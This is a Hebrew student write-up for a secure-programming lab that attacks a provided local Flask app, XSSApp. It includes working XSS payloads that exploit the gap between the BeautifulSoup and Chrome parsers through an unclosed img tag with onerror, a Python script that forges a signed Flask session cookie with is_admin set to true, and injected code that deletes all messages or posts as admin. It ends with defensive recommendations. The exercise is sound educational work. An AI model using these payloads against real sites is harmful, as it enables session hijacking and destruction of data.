

תרגיל 3 - תכנות בטוח

ראשית, התקנתי את השרת שהובא לנו בתרגיל על ידי הרצת `pip install XSSApp-1.1.0.tar.gz` ולאחר מכן הרצתו באמצעות `python -m XSSApp.app` לאחר פיתרון של התנגשות פורטים (תהליך ה-AirDrop במכשירי אפל משתמש בפורט 5000).

סעיף ראשון:

נעזרתי בסרטון של צביקה "http to https" על מנת להפוך את השרת לשרת https - ג'ינרטי סרטיפיקט באמצעות הפקודה openssl ולאחר מכן הוספתי אותו לכרום. על מנת להוסיף אותו לשרת flask, לאחר מכן העברתי את הקבצים הרלוונטיים לתוך חבילת השרת, הוספתי את פרטי הקבצים לתוך פקודת ה-run והוספתי לקובץ ה-manifest את הקבצים על מנת שהם יכללו בחבילת הפייתון לאחר ההתקנה, אצרף את הקבצים לאחר השינויים.

סעיף שני:

התחלתי בכך שניסיתי פשוט להכניס בכל התיבות את המילה kobie (נרקיססטי מצידי) וראיתי כי הוא מציג לי הודעה שגיאה על תיבת ה-email שהיא אינה מכילה את התו @. לאחר מכן, פתחתי את ה-debugger של chrome ועשיתי inspect על התיבת קלט של המייל וראיתי כי היא מכילה תכונה `type="email"` והנחתי שהדפדפן הוא זה שאוכף את הפורמט של הקלט ועל כן שיניתי את התכונה להיות `type="text"`.

לאחר לחיצה על כפתור ה-submit, הוחזרה לי תשובת שגיאה 400 שתוכנה היה `phone number validation failed`. על כן עשיתי inspect על תיבת הטלפון על מנת לחקור אותה. שמתי לב שכל הקלט מתקבל כחלק מ-form שנשלח כאשר לוחצים על כפתור ה-submit. כמו כן, בקלט של הטלפון, מצוינת התכונה `type="tel"` ולאחר מכן קראתי עליו בדוקומנטציה של mozilla. כפי שרשום שם - אין התכונה הזו משמשת לולידציה בשל השונות הרבה של מספרי טלפון ברחבי העולם, אלא בעיקר משמשת במכשירי מובייל על מנת להציג מקלדת לטלפון בלבד. כלומר, הולידציה אינה נעשית בצד הדפדפן. אנסה להכניס מספר טלפון תקין כדי לראות אם אצליח להכניס את ההודעה ואכן הצלחתי:

First Name

Mail Address

Subject

Phone Number

Message

Messages

Name: kobie (Weak)

Phone: [REDACTED]

Mail: kobie

Subject: test

Message: test

סעיף שלישי:

ראשית, התחלתי בלנסות להגיע להזרקת קוד כלשהי כנקודת התחלה ולכן התחלתי עם alert(1) הקלאסי. בשל הפשטות שמגיעה עם תיבת הטקסט שיש עבור תוכן ההודעה עצמה של המשתמש, השתמשתי בה כמשטח ההזרקה. לאחר לא פחות מעשרות ניסיונות, מהם למדתי הרבה מאוד. בין היתר הניסיונות כללו שימוש בהבדלים בין ה-parser שבו נעשה שימוש בשרת עם ה-beautifulsoup לבין ה-parser של chrome. כתבתי סקריפט קצר שיעזור לי למצוא קלטים שיש בהם הבדלים אך לצערי לא הצלחתי להשמיש את זה ללא שימוש ב-on event, שגם הוא מפולטר בקוד השרת (זוהי הדרך של הרמז אני מניח, מעניין לראות השמשה שלה). מצורפת משמאל תמונה של הניסיונות :) ולבסוף את ההזרקה הפשוטה בה בחרתי -

<iframe src=javascript:alert(1)>

לאחר מכן, המשכתי הלאה בניסיון לפרסם
הודעה כמנהל האתר ולקרוא למחיקת כל
ההודעות.

ניסיתי לחשוב על מנגנון שיעשה לי דבר כזה
והדבר הראשון שחשבתי עליו זה מתקפת XSS
קלאסית של בלוג שבו אנו מפרסמים הודעה
כלשהי ואם אנחנו רוצים לפרסם הודעה כלשהי
כמנהל אז אנחנו מזריקים דרך ההודעה הזאת קוד

לכל מי שנכנס לעמוד שבדק האם מי שטען את העמוד מחובר כמנהל, אם כן אז מפרסם בשמו הודעה ומוחק את כל ההודעות בעמוד (או בסדר ההפוך כדי שיהיה משמעות להודעה) ואם לא אז הוא לא עושה כלום.

לאחר מכן הסתכלתי גם על הסעיף הבא וראיתי שמבקשים שדבר כזה ירוץ רק פעם אחת וזה כמובן אפשרי על ידי הטמנת "סוד" כלשהו בהודעה המכילה הזרקת קוד שבודקת האם ה"סוד" הזה נמצא בעמוד ואם כן אז לא לעשות כלום.

לאחר מכן הגיע רגע מאכזב תחילה אך לאחר מכן הזדמנות מאוד מעניינת ללמוד משהו חדש - ראיתי שהפתרון שלי דורש חיבור של מישור אחד לאתר (ובפרט של מנהל), והסעיף לא מציין דבר כזה. לכן חיפשתי בגרות פיתרון נוסף:)

דבר ראשון חיפשתי דרכים למניפולציה של בקשת ה-POST ככה שההודעה עצמה תקבל דגל is_admin מבלי להזדהות כמנהל. לא הצלחתי לעשות זאת אך למדתי על מנגנון שמירת פרטי החיבור של האתר, באמצעות cookie בשם session.

חיפשתי רבות דוקומנטציה על עוגיית ה-session ולא הצלחתי למצוא הרבה מאוד מידע ולכן התחלתי לקרוא את הקוד מקור:

הבנתי שה-session אינו מוצפן אלא רק חתום בהאש כלשהו ולאחר מכן באמצעות מחקר בלאקבוקסי קצת על XSSApp עצמו, הבנתי שהוא מקודד ישירות את המילון flask.session (כלומר, כאשר הוא לא כולל את המפתח is_admin, הוא יהיה קצר יותר מאשר אם הוא יכלול אותו ורק חלק קטן ממנו יתווסף לסוף הקידוד, וגם התחילית והסיומת של הקידוד נשאר זהה - מרמז קידוד מחרוזת המתארת את המילון).

```
<main role="main">
  <div class="jumbotron" style="direction: rtl;"> ... </div>
  <div class="container"> ... </div>
    <div class="container"> </div>
  <div class="container">
    <h2>Messages</h2>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <div style="display: block" class="row alert-secondary"> ... </div>
    <a href="javascript:alert(1)">
      <div style="display: block" class="row alert-secondary"> ... </div>
      <h3>Name: kobie (Weak)</h3>
      <h3>Phone: [REDACTED]</h3>
      <h3>Mail: [REDACTED]</h3>
      <br>
      <n3>Subject: test</n3>
    <p>
      "Message: "
    <iframe src="javascript:alert(1)"> ... </iframe> == $0
  </n>
```

כמו כן, היה רשום בדוקומנטציה של itsdangerous שאחראית על חתימת המפתח את האופן בו הוא חתום. כל אלה סימנים ממש טובים כדי לעשות מניפולציה למחרוזת hash של ה-session ובכך לשנות את הערך flask.session['is_admin'] ל-True.

נתחיל בלנסות לעשות decode ל-session שקיבלנו. לאחר מבט בקוד מקור, נראה כי מדובר ב-base64 המורכב על ידי שלושה חלקים המופרדים בנקודות - התוכן, טיימסטאמפ וחתימה על שני החלקים הראשונים.

ראשית נבחין כי אין לנו אפשרות לעשות bruteforce על החתימה שכן היא נחתמת באמצעות מפתח רנדומלי באורך 16 בתים (ולא נצליח בזמן סביר). על כן, נניח שיש לנו גישה למפתח החתימה ונחתום מחדש על התוכן לאחר השינוי. לשם כך - כתבתי את הסקריפט הבא:

```
"""
This script generates a flask cookie
based on tracing their cookie generation flow.
"""

import base64
import hashlib
import hmac
import sys
import time

from itsdangerous._json import _CompactJSON

FLASK_SALT = b'cookie-session' # the salt used by flask
IS_ADMIN_KEY = 'is_admin' # session value key we want to change

MAX_INT_BYTES = 1000 # for int.to_bytes

3 usages
def base64_encode(data_to_encode: bytes) -> bytes:
    return base64.urlsafe_b64encode(data_to_encode).rstrip(b"=")

1 usage
def base64_decode(data_to_decode: str) -> bytes:
    raw_data = data_to_decode.encode('ascii')
    raw_data += b"=" * (-len(raw_data) % 4)
    return base64.urlsafe_b64decode(raw_data)
```

```
def generate_flask_cookie(cookie_data: dict, flask_secret_key: bytes) -> bytes:
    """
    Generates flask cookie that encodes cookie_data and uses a secret key.
    """
    cookie_data_json = _CompactJSON.dumps(cookie_data).encode()
    cookie_payload = base64_encode(cookie_data_json)
    seperator = b'.'
    timestamp = time.time()
    encoded_timestamp = base64_encode(int(timestamp).to_bytes(length=MAX_INT_BYTES, byteorder='big').rstrip(b"\x00"))
    to_sign = cookie_payload + encoded_timestamp
    key_hash = hmac.new(flask_secret_key, digestmod=hashlib.sha1)
    key_hash.update(FLASK_SALT)
    sign_key = key_hash.digest()
    sign_hash = hmac.new(sign_key, msg=to_sign, digestmod=hashlib.sha1)
    signature = sign_hash.digest()
    encoded_signature = base64_encode(signature)
    return cookie_payload + seperator + encoded_timestamp + seperator + encoded_signature

if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise Exception("Usage: flask-cookie-generator <session_cookie> <secret>")
    session_cookie = sys.argv[1]
    session_data = session_cookie.split(".")[0]
    data = base64_decode(session_data)
    cookie_dict = _CompactJSON.loads(data)
    cookie_dict[IS_ADMIN_KEY] = True
    secret = sys.argv[2].encode()
    secret_key = base64.b64decode(secret)
    flask_cookie = generate_flask_cookie(cookie_dict, secret_key)
    print(f"The flask cookie value is:\n"
          f"{str(flask_cookie)}")
```

אמעט במילים בתיאורי את הקוד, שכן הוא נובע ישירות ממעקב אחרי פעולות flask (גם בתוך החבילה flask-itsdangerous). מה שהסקריפט עושה זה שהוא מקבל שני ארגומנטים - עוגיית session והסוד של flask (שמוגדר בקוד השרת כ-`app.secret_key`) ומדפיס עוגיית session חדשה, הכוללת בתוכה את המידע הישן וכן נתוני התאמתות ה-csrf האמיתיים, אך בנוסף מוגדר המשתנה `flask['is_admin'] = True`.

אין זה יעזור לנו על מנת להשיג את מטרתנו? אם נוכל לקרוא את העוגייה הישנה (יכולים) ולהגדיר את עוגיית ה-session להיות העוגייה שמוציא ה-script (יכולים) ולכן כאשר נבצע מעתה פניות לשרת אנו נקבל הרשמות אדמיניסטרטור (נבחין שכאן רואים שהשרת flask הוא stateless באופן מלא - המידע נמצא וחתום אצל הלקוח לחלוטין) ונוכל בהזרקה לעשות מה שנרצה.

התחלתי בהשמת החולשה בכך שניסיתי להשתמש בהזרקה שתיארתי בתחילת הסעיף, אך לאחר הרצת: `<iframe src=javascript:document.cookie = "session={new cookie}">` אך ראיתי שזה לא עבד. לאחר מחקר, עליתי על זה שהתשובה הייתה מול העיניים שלי. ניסינו להריץ את הגדרת ה-cookie בתוך סביבת iframe שהיא מופרדת והתקשורת שלה עם העמוד שבו אנו מעוניינים מוגבל מאוד. לכן יצאתי לחפש הזרקה חדשה.

חיפוש ההזרקה הוביל אותי לניסיון מחדש למצוא את ההזרקה המתוארת ברמז הקשורה בתגית שאינה סגורה ולאחר ניסיונות רבים, הצלחתי, ההזרקה היא:

```
<img hidden src=x onerror="alert(document.cookie)" <
```

כאשר המקור הוא בכך שהשרת מפלטר על פי פרסור של תוכן ההודעה על ידי שימוש ב-html.parser חבילת beautifulsoup והוא אינו שואף לתקן את התגית שאינה חוקית בצורה שמסלימה אותה למשהו שעובד, בניגוד ל-parser של chrome, שאכן מתקן את זה למשהו שמריץ את ה-onerror בעת שגיאה (ואכן יש כזאת שכן אין עמוד x / בשרת).

ההזרקה שמבצעת התלגנות כאדמיניסטרטור ומחיקת כל ההודעות:

```
<img hidden id="super-secret-id" src="x" onerror=document.cookie = 'session=[REDACTED]';
if (document.getElementById('super-secret-id') != null) {let xhr = new XMLHttpRequest();xhr.open('GET', '/drop_all_messages', true);xhr.send()}" <
```

- כלומר, ניתן לראות שאנחנו מפרסמים הודעה שבתוכן שלה תגית תמונה שאינה סגורה בעלת התכונות:
- מוסתר - שלא יראה למשתמש, למרות שיימחק במהרה (בעיקר חשוב לסעיף הבא).
- id - כדי שההזרקה לא תרוץ יותר מפעם אחת.
- src - מקור התמונה (יגרום לשגיאה).
- onerror - ההזרקה שרצה:
- נגדיר את עוגיית ה-session להיות הפלט של הסקריפט שכתבנו (נסתכל על העוגייה שקיבלנו וכן הסוד flask ונכניס כארגומנטים).
- אם קיים בעמוד תגית בעלת ה-id של התגית שבתוכה ההזרקה (בעיקר חשוב לסעיף הבא, כשאנחנו רוצים שההזרקה תהיה בעמוד אך שלא תרוץ יותר מפעם אחת).
- אז תגדיר אובייקט XMLHttpRequest ותעשה בו קריאת GET ל-/drop_all_messages.

ההזרקה שמבצעת התלגנות כאדמיניסטרטור וכתיבת הודעה כאדמיניסטרטור:

```
<imga hidden id="super-secret-id" src="x" onerror="document.cookie =
document.cookie = 'session=[REDACTED]';
if (document.getElementById('super-secret-id') != null) {let xhr = new XMLHttpRequest();xhr.open('POST', '/request', true);const payload = new FormData();payload.append('name', 'admin');payload.append('email', 'admin@yahoo.com');
payload.append('phone_number', '[REDACTED]'); payload.append('message', 'Important Admin Message!');
payload.append('csrf_token', '[REDACTED]'); xhr.send(payload)}
```

- באותו אופן, השוני הוא בתכונת ה-onerror:
- הגדרנו את עוגיית ה-session על מנת להזדהות כמנהל.
- אם קיימת תגית בעלת מזהה ייחודי של הזרקה וגם לא קיימת תגית נוספת ייחודית שההזרקה מזריקה.
- תגדיר אובייקט XMLHttpRequest שבו קריאת POST ל-/request ככה שהתוכן שלו הוא תוכן של אובייקט Form (בדומה לאיך שהעמוד מנהל את המידע שנשלח ל-/request ומוסיפים לו את השדות של ההודעה שאנו רוצים להזריק כמשתמש מנהל.
- נשים לב שלתוכן ההודעה הוספנו גם את ה-csrf_token שהבאנו מהעמוד.

סעיף רביעי:

עשיתי זאת, השתמשתי בכך שההזרקה בודקת האם מזהי תגיות קיימים לפני שהיא מבצעת השפעה על העמוד.

סעיף חמישי:

לא הצלחתי להריץ קוד על ידי שימוש בתגית object, לפחות לא על החלון והמסך של המשתמש. כאשר ניסיתי להריץ על מיני אופציות שונות, כמובן שלא יכולתי להריץ דברים שהפילטר חוסם (תגיות script בתוך האובייקט או תכונות on למיניהן), אך יכולתי להריץ אותן על ידי מעקף הפילטר כפי שתיארתי בסעיף הקודם.

עם זאת, לא משנה מה עשיתי, לא הצלחתי להשיג השפעה על העמוד. הסיבה היא שהאובייקט רץ ב-context אחר שכן הוא נועד לטעינת משאב חיצוני. מחסום זה דומה למחסום בו ניתקלתי כאשר התמודדתי עם הניסיון ההזרקה שלי באמצעות תגית iframe.

חשבתי על ניסיונות נוספים שנתקעו בכל מיני אופנים - להשתמש ביתרון של השימוש בתכונת ה-data על מנת לטעון קובץ לוקאלי שכולל בתוכו script של javascript (בתוך אלמנט html) כך שהוא יריץ קוד על האתר ויעבור את הפילטר. אך לא הצלחתי לבדוק את הרעיון משום שלא הצלחתי לחתום על השרת הלוקאלי שכתבתי כשרת https וכן הדבר ירוץ רק לוקאלי אצלי, כלומר הוא מסתמך על הסעיף השלישי בכך שאני אוכל להזדהות כמנהל. ניסיתי כל מיני שיטות נוספות על לצערי שלא צלחו.

סעיף שישי:

דרכים לשיפור בטיחות האתר:

1. להשתמש במנגנון פרסור וסניטזציה טוב יותר - ניתן להשתמש בחבילות סניטזציה שמיועדות לכך במקום לעשות מימוש משלך (למשל bleach המפורסמת) ולכל הפחות להחליף את הפארסר להיות פארסר שדומה לצורת הפרסור של הדפדפן כמו html5lib.
2. CSP - נוכל להשתמש במנגנון זה כדי שנלמד בתרגול על מנת לוודא שהדפדפן לא יטען מקורות חיצוניים והאם סקריפטים שבעמוד ה-html ישירות ירוצו או לא. יש למנגנון זה דרכים רבות להעלות את החוסן של האתר שלנו.
3. הגדרת whitelist - בשדה ה-message, הפלטור נעשה בעצם על ידי blacklist. בדומה לכל מנגנון הגנה, whitelist יהיה חזק בהרבה וימנע את כל המתקפות שעשיתי בתרגיל.
4. קידוד תווים לפני הוספת לעמוד - כך שלא ניתן יהיה לבצע הזרקה שתעשה שימוש בתווים האלה. למשל, קידוד < מהקלט כ- < וכדומה.

סעיף שביעי:

ההזרקה אותה ביצעתי בסעיף ג' לא תעבוד באותה צורה כאשר העוגייה תסומן באמצעות הדגל HTTPOnly.

הסיבה שהיא לא תעבוד הינה שפקודת ה-javascript: document.cookie = 'session=...' תהיה בלתי חוקית ולא תעבוד שכן העוגייה session לא תוכל להיכתב או להיקרא על ידי ה-API של document.cookie. זה כמובן החלק בהזרקה שאינטגרלי להזדהות כמנהל.

לכן, נחזור לניסיון הזרקה הראשון שתיארתי בסעיף 3 (שהוא מעט מנוון יותר וזהו הסיבה שזנחתי אותו): נזריק message שבו מורץ קוד (בכל דרך - גם באמצעות תגית חצי פתוחה כמו שהשתמשתי) שאנו מניחים שיוורץ על ידי משתמשי האתר ובפרט מנהלי האתר שניגשים אליו. הקוד יכלול:

- נבדוק בצורה סטטית האם המשתמש הנוכחי הוא מנהל או משתמש רגיל (ניתן לעשות זאת בפשטות על ידי בדיקה של כמות הפסקאות תחת הכותרת "צרו קשר" (2 תגיות = משתמש חלש, 1 = מנהל).
 - אם אני מנהל - תיצור בקשת XMLHttpRequest שניגשת ל-drop_all_messages/ בעבור מחיקת כל ההודעות באתר.
- במידה ורוצים להוסיף הודעה חדשה כמנהל - נבצע בדיוק את מה שעשיתי בסעיף ה-3 לאחר שינוי העוגייה. כלומר, נשלח בקשת XMLHttpRequest בעלת תוכן של טופס עם תוכן ההודעה מנהל שאנו רוצים לפרסם (את ה-csrf_token נצטרך לשנות שילקח בצורה דינאמית ולא סטטית כפי שעשיתי בסעיף השלישי, אך זה לא בעיה שכן זה נמצא ישירות ב-DOM שלנו).

כף לראות שהניסיון הראשון שלי בסעיף השלישי מופיע בסעיף האחרון עם המגבלה שמנעה ממני מלהמשיך איתו (: